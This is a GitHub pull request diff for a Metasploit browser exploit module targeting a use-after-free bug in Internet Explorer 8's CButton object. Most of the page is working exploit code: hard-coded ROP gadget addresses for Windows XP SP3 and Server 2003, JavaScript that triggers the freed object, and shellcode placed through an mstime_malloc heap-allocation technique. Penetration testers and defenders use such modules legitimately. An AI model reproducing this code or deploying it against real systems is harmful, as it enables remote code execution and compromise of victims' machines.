Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Uses js_mstime_malloc to do the no-spray technique #1787

Merged
merged 2 commits into from
May 3, 2013
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
110 changes: 40 additions & 70 deletions modules/exploits/windows/browser/ie_cbutton_uaf.rb
Original file line number Diff line number Diff line change
Expand Up @@ -120,60 +120,6 @@ def get_target(agent)
return nil
end

def ie8_smil(my_target, p)

case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end

padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(p)

js = %Q|
unicorn = unescape("#{padding}");
for (i=0; i < 3; i++) {
unicorn += unescape("#{padding}");
}

unicorn += unescape("#{js_payload}");

animvalues = unescape("#{align_esp}");

for (i=0; i < 0xDC/4; i++) {
if (i == 0xDC/4-1) {
animvalues += unescape("#{xchg_esp}");
}
else {
animvalues += unescape("#{align_esp}");
}
}

animvalues += unicorn;

for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
|

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
Expand Down Expand Up @@ -286,45 +232,69 @@ def get_payload(t, cli)

def load_exploit_html(my_target, cli)

p = get_payload(my_target, cli)
js = ie8_smil(my_target, p)
case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end

html = %Q|
<!doctype html>
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))

html = %Q|<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>

<script>
function helloWorld()
{
#{js_mstime_malloc}


function helloWorld() {
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");

#{js}

for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.appendChild(document.createElement('button'));
e_div.firstChild.applyElement(e_form);

e_div.innerHTML = ""
e_div.innerHTML = "";
e_div.appendChild(document.createElement('body'));

CollectGarbage();
CollectGarbage();

try {
a = document.getElementById('myanim');
a.values = animvalues;
p = unescape("#{padding}");
for (i=0; i < 3; i++) {
p += unescape("#{padding}");
}
p += unescape("#{js_payload}");

fo = unescape("#{align_esp}");
for (i=0; i < 55; i++) {
if (i == 54) { fo += unescape("#{xchg_esp}"); }
else { fo += unescape("#{align_esp}"); }
}
catch(e) {}
}

fo += p;

mstime_malloc({shellcode:fo, heapBlockSize:0x58, objId:"myanim"});
}
</script>
</head>

<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
Expand Down